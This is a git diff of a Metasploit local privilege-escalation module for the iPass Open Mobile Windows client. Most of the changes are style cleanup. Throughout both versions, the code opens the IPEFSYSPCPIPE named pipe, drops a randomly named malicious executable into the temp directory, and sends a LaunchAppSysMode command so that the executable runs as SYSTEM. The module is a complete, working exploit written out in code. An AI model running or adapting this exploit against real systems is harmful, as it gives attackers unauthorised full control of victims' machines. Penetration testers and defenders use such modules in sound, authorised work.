@@ -19,16 +19,15 @@ def initialize(info={})
19
19
The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
20
20
with the iPass service. The service provides a LaunchAppSysMode command which
21
21
allows to execute arbitrary commands as SYSTEM.
22
-
23
22
} ,
24
23
'License' => MSF_LICENSE ,
25
24
'Author' =>
26
25
[
27
- 'h0ng10' , # Vulnerability discovery, metasploit module
26
+ 'h0ng10' # Vulnerability discovery, metasploit module
28
27
] ,
29
28
'Arch' => ARCH_X86 ,
30
29
'Platform' => 'win' ,
31
- 'SessionTypes' => [ 'meterpreter' ] ,
30
+ 'SessionTypes' => [ 'meterpreter' ] ,
32
31
'DefaultOptions' =>
33
32
{
34
33
'EXITFUNC' => 'thread' ,
@@ -44,116 +43,116 @@ def initialize(info={})
44
43
} ,
45
44
'References' =>
46
45
[
47
- [ 'URL' , 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt' ] ,
46
+ [ 'URL' , 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt' ]
48
47
] ,
49
48
'DisclosureDate' => 'Mar 12 2015' ,
50
49
'DefaultTarget' => 0
51
50
} ) )
52
51
53
52
register_options ( [
54
- OptString . new ( " WritableDir" , [ false , " A directory where we can write files (%TEMP% by default)" ] )
53
+ OptString . new ( ' WritableDir' , [ false , ' A directory where we can write files (%TEMP% by default)' ] )
55
54
] , self . class )
56
55
57
56
end
58
57
59
58
def check
60
- os = sysinfo [ "OS" ]
61
- if os =~ /windows/i
62
- svc = service_info 'iPlatformService'
63
- if svc and svc [ :display ] =~ /iPlatformService/
64
- vprint_good ( "Found service '#{ svc [ :display ] } '" )
65
- begin
66
- if is_running?
67
- vprint_good ( "Service is running" )
68
- else
69
- vprint_error ( "Service is not running!" )
70
- end
71
- rescue RuntimeError => e
72
- vprint_error ( "Unable to retrieve service status" )
73
- return Exploit ::CheckCode ::Unknown
74
- end
75
-
76
- vprint_good ( "Opening named pipe..." )
77
- handle = open_named_pipe ( "\\ \\ .\\ pipe\\ IPEFSYSPCPIPE" )
78
-
79
- if handle . nil?
80
- fail_with ( Failure ::NoTarget , "\\ \\ .\\ pipe\\ IPEFSYSPCPIPE named pipe not found" )
81
- else
82
- vprint_good ( "\\ \\ .\\ pipe\\ IPEFSYSPCPIPE found!" )
83
- session . railgun . kernel32 . CloseHandle ( handle )
84
- end
85
-
86
- return Exploit ::CheckCode ::Vulnerable
59
+ os = sysinfo [ 'OS' ]
60
+
61
+ unless os =~ /windows/i
62
+ return Exploit ::CheckCode ::Safe
63
+ end
87
64
65
+ svc = service_info ( 'iPlatformService' )
66
+ if svc && svc [ :display ] =~ /iPlatformService/
67
+ vprint_good ( "Found service '#{ svc [ :display ] } '" )
68
+ if is_running?
69
+ vprint_good ( 'Service is running' )
88
70
else
71
+ vprint_error ( 'Service is not running!' )
72
+ end
73
+
74
+ vprint_good ( 'Opening named pipe...' )
75
+ handle = open_named_pipe ( '\\\\.\\pipe\\IPEFSYSPCPIPE' )
76
+
77
+ if handle . nil?
78
+ vprint_error ( '\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found' )
89
79
return Exploit ::CheckCode ::Safe
80
+ else
81
+ vprint_good ( '\\\\.\\pipe\\IPEFSYSPCPIPE found!' )
82
+ session . railgun . kernel32 . CloseHandle ( handle )
90
83
end
84
+
85
+ return Exploit ::CheckCode ::Vulnerable
86
+ else
87
+ return Exploit ::CheckCode ::Safe
91
88
end
92
89
end
93
90
94
91
95
92
def open_named_pipe ( pipe )
96
93
invalid_handle_value = 0xFFFFFFFF
97
94
98
- r = session . railgun . kernel32 . CreateFileA ( pipe , " GENERIC_READ | GENERIC_WRITE" , 0x3 , nil , " OPEN_EXISTING" , " FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL" , 0 )
95
+ r = session . railgun . kernel32 . CreateFileA ( pipe , ' GENERIC_READ | GENERIC_WRITE' , 0x3 , nil , ' OPEN_EXISTING' , ' FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL' , 0 )
99
96
handle = r [ 'return' ]
100
97
101
98
return nil if handle == invalid_handle_value
102
99
103
- return handle
100
+ handle
104
101
end
105
102
106
103
def write_named_pipe ( handle , command )
107
-
108
104
buffer = Rex ::Text . to_unicode ( command )
109
105
w = client . railgun . kernel32 . WriteFile ( handle , buffer , buffer . length , 4 , nil )
110
106
111
107
if w [ 'return' ] == false
112
- print_error ( " The was an error writing to pipe, check permissions" )
113
- return nil
108
+ print_error ( ' The was an error writing to pipe, check permissions' )
109
+ return false
114
110
end
111
+
112
+ true
115
113
end
116
114
117
115
118
116
def is_running?
119
117
begin
120
118
status = service_status ( 'iPlatformService' )
121
- return ( status and status [ :state ] == 4 )
122
119
rescue RuntimeError => e
123
- print_error ( " Unable to retrieve service status" )
120
+ print_error ( ' Unable to retrieve service status' )
124
121
return false
125
122
end
123
+
124
+ return status && status [ :state ] == 4
126
125
end
127
126
128
127
def exploit
129
128
if is_system?
130
- fail_with ( Exploit :: Failure ::None , 'Session is already elevated' )
129
+ fail_with ( Failure ::NoTarget , 'Session is already elevated' )
131
130
end
132
131
133
132
handle = open_named_pipe ( "\\ \\ .\\ pipe\\ IPEFSYSPCPIPE" )
134
133
135
134
if handle . nil?
136
- fail_with ( Failure ::NoTarget , "\\ \\ .\\ pipe\\ IPEFSYSPCPIPE named pipe not found" )
135
+ fail_with ( Failure ::NoTarget , "\\ \\ .\\ pipe\\ IPEFSYSPCPIPE named pipe not found" )
137
136
else
138
- print_status ( "Opended \\ \\ .\\ pipe\\ IPEFSYSPCPIPE! Proceeding..." )
137
+ print_status ( "Opended \\ \\ .\\ pipe\\ IPEFSYSPCPIPE! Proceeding..." )
139
138
end
140
139
141
- if datastore [ " WritableDir" ] and not datastore [ " WritableDir" ] . empty?
142
- temp_dir = datastore [ " WritableDir" ]
140
+ if datastore [ ' WritableDir' ] and not datastore [ ' WritableDir' ] . empty?
141
+ temp_dir = datastore [ ' WritableDir' ]
143
142
else
144
- temp_dir = client . sys . config . getenv ( 'TEMP' )
143
+ temp_dir = client . sys . config . getenv ( 'TEMP' )
145
144
end
146
145
147
146
print_status ( "Using #{ temp_dir } to drop malicious exe" )
148
147
149
148
begin
150
- cd ( temp_dir )
149
+ cd ( temp_dir )
151
150
rescue Rex ::Post ::Meterpreter ::RequestError
152
151
session . railgun . kernel32 . CloseHandle ( handle )
153
152
fail_with ( Failure ::Config , "Failed to use the #{ temp_dir } directory" )
154
153
end
155
154
156
- print_status ( " Writing malicious exe to remote filesystem" )
155
+ print_status ( ' Writing malicious exe to remote filesystem' )
157
156
write_path = pwd
158
157
exe_name = "#{ rand_text_alpha ( 10 + rand ( 10 ) ) } .exe"
159
158
@@ -162,18 +161,21 @@ def exploit
162
161
register_file_for_cleanup ( "#{ write_path } \\ #{ exe_name } " )
163
162
rescue Rex ::Post ::Meterpreter ::RequestError
164
163
session . railgun . kernel32 . CloseHandle ( handle )
165
- fail_with ( Failure ::Config , "Failed to drop payload into #{ temp_dir } " )
164
+ fail_with ( Failure ::Unknown , "Failed to drop payload into #{ temp_dir } " )
166
165
end
167
166
168
- print_status ( " Sending LauchAppSysMode command" )
167
+ print_status ( ' Sending LauchAppSysMode command' )
169
168
170
169
begin
171
- write_named_pipe ( handle , "iPass.EventsAction.LaunchAppSysMode #{ write_path } \\ #{ exe_name } ;;;" )
170
+ write_res = write_named_pipe ( handle , "iPass.EventsAction.LaunchAppSysMode #{ write_path } \\ #{ exe_name } ;;;" )
172
171
rescue Rex ::Post ::Meterpreter ::RequestError
173
172
session . railgun . kernel32 . CloseHandle ( handle )
174
- fail_with ( Failure ::Config , " Failed to write to pipe" )
173
+ fail_with ( Failure ::Unknown , ' Failed to write to pipe' )
175
174
end
176
175
176
+ unless write_res
177
+ fail_with ( Failure ::Unknown , 'Failed to write to pipe' )
178
+ end
177
179
end
178
180
179
181
end
0 commit comments